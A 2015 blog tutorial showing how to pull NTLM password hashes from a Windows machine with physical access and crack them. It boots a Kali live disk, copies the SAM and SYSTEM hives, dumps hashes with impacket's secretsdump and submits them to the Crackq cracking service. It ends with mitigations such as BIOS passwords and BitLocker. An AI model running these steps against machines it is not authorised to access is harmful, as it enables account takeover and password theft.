Cracking Windows NTLM hashes with Crackq

by Crackq


Posted on April 19, 2015 at 8:12 PM


This tutorial demonstrates how to extract Windows NTLM password hashes and recover password plaintexts by sending the hashes to the Crackq GPU cluster. This tutorial assumes a basic knowledge of Linux and Windows hashing algorithms for password storage.

There are several ways to extract password hashes either from a live system (Administrator/SYSTEM rights are required) using tools such meterpreter’s hashdump, mimikatz, wce, etc or offline (by mounting the Windows partition and copying registry hive files containing password hashes). This tutorial assumes a latter approach where there’s only physical access to the target Windows machine.

If there’s no BIOS password set and no filesystem encryption, the typical approach for extracting user password hashes is to boot from a live CD or USB drive (e.g., Kali or any Linux installation disk) and mount the Windows NTFS partition. Depending on the machine configuration, this partition is likely to be represented as either sda1 or sda2, i.e., the first or second partition of the first hard drive. The following two files should be copied from the target machine:

  • %SYSTEMROOT%\System32\config\SAM
  • %SYSTEMROOT%\System32\config\SYSTEM

The available disks and partitions can be listed with fdisk:

root@kali:~# fdisk -l

Disk /dev/sda: 26.8 GB, 26843545600 bytes
255 heads, 63 sectors/track, 3263 cylinders, total 52428800 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x44a5b153

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *        2048      206847      102400    7  HPFS/NTFS/exFAT
/dev/sda2          206848    52426751    26109952    7  HPFS/NTFS/exFAT

Copy the SAM and SYSTEM files to some external media:

root@kali:~# mount /dev/sda2 /mnt/
root@kali:~# cp /mnt/Windows/System32/config/SAM /usbdisk/
root@kali:~# cp /mnt/Windows/System32/config/SYSTEM /usbdisk/
root@kali:~# umount /usbdisk

where /usbdisk is a mount point for some external storage (e.g., a USB disk).

Once the SAM and SYSTEM files are copied, they can be processed offline with impacket.

root@kali:~# git clone https://github.com/CoreSecurity/impacket.git
Cloning into 'impacket'...
remote: Counting objects: 7434, done.
remote: Compressing objects: 100% (1775/1775), done.
Receiving objects: 100% (7434/7434), 2.03 MiB | 614 KiB/s, done.
remote: Total 7434 (delta 5647), reused 7385 (delta 5610), pack-reused 0
Resolving deltas: 100% (5647/5647), done.

root@kali:~# cd impacket
root@kali:~# python setup.py install --user
root@kali:~/impacket/examples# python secretsdump.py -sam ~/SAM -system ~/SYSTEM local
Impacket v0.9.13-dev - Copyright 2002-2015 Core Security Technologies

[*] Target system bootKey: 0xa2cecb10b4be0a5270b3a2320deeb1a8
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
crackme:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:912aa82e0e9119744b600df9fe1ef40f:::
[*] Cleaning up... 

where ~/SAM and ~/SYSTEM are previously extracted files. The output above is in the following format:

USERNAME:SID:LM_HASH:NTLM_HASH:::

This is a standard Windows 7 installation where LM hashes are disabled by default (due to its weaknesses, LM hashing is disabled by default starting from Windows Vista). Hence, the LM hash aad3b435b51404eeaad3b435b51404ee corresponds to an empty password. Similarly, the NTLM hash 31d6cfe0d16ae931b73c59d7e0c089c0 corresponds to an empty password. In fact, this is easy to verify since NTLM hashes are computed by converting plaintext to UTF16LE and hashing with MD4:

root@kali:~/impacket/examples# echo -n '' | iconv -f ASCII -t UTF-16LE | openssl dgst -md4
(stdin)= 31d6cfe0d16ae931b73c59d7e0c089c0

This means that both Administrator and Guest accounts are disabled. The hash 64f12cddaa88057e06a81b54e73b949b, on the other hand, is a valid NTLM hash which corresponds to the password for the crackme account.

The next step is to install the crackqcli - command-line tool for submitting hashes to the Crackq GPU cluster:

root@kali:~# git clone https://github.com/vnik5287/Crackq.git
Cloning into 'Crackq'...
remote: Counting objects: 133, done.
Receiving objects: 100% (133/133), 23.28 KiB, done.
remote: Total 133 (delta 0), reused 0 (delta 0), pack-reused 132
Resolving deltas: 100% (45/45), done.
root@kali:~# cd Crackq/
root@kali:~/Crackq# ./crackqcli.py -t ntlm 64f12cddaa88057e06a81b54e73b949b
hashcrack.org crackq client 0.2b

[+] Retrieving email...
[+] Results will be emailed to: support@hashcrack.org
[+] Submissions left: 60
[+] Sending to the queue...
[+] Done

The result (whether found or not) will be emailed to your registered email address. For hash processing times, refer to the Crackq FAQ. If it’s your first time running the crackqcli tool, you’ll be prompted for your API key. This key can be found on the user details page after logging in.

DO NOT USE samdump2

The samdump2 tool shipped with Kali contains a bug and outputs invalid NTLM hashes. Using the SAM and SYSTEM files from the previous example, this tool outputs invalid NTLM hashes for Administrator and crackme accounts:

root@kali~# samdump2 ~/SAM ~/SYSTEM 
samdump2 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it

Root Key : CMI-CreateHive{C4E7BA2B-68E8-499C-B1A1-371AC8D717C7}
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1978063d382db5767412e16d64ef8cbc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
crackme:1001:aad3b435b51404eeaad3b435b51404ee:b874b9a138f409dcb0600de35020bbb9:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:bd60fcc4bae5c8e8bc11c87ea68df748:::

Mitigation steps

Finally, the obvious mitigation steps are:

  1. Set the hard drive containing the OS to be the first device in the boot priority menu
  2. Set the BIOS password to prevent users from modifying BIOS boot priority settings

The above steps will prevent attackers from accessing the filesystem by booting from external media. However, other physical attacks (e.g., the device is stolen and hard drive is removed) are still possible. Where physical security is a concern, it is recommended to implement full disk encryption, e.g., using a built-in solution such as BitLocker.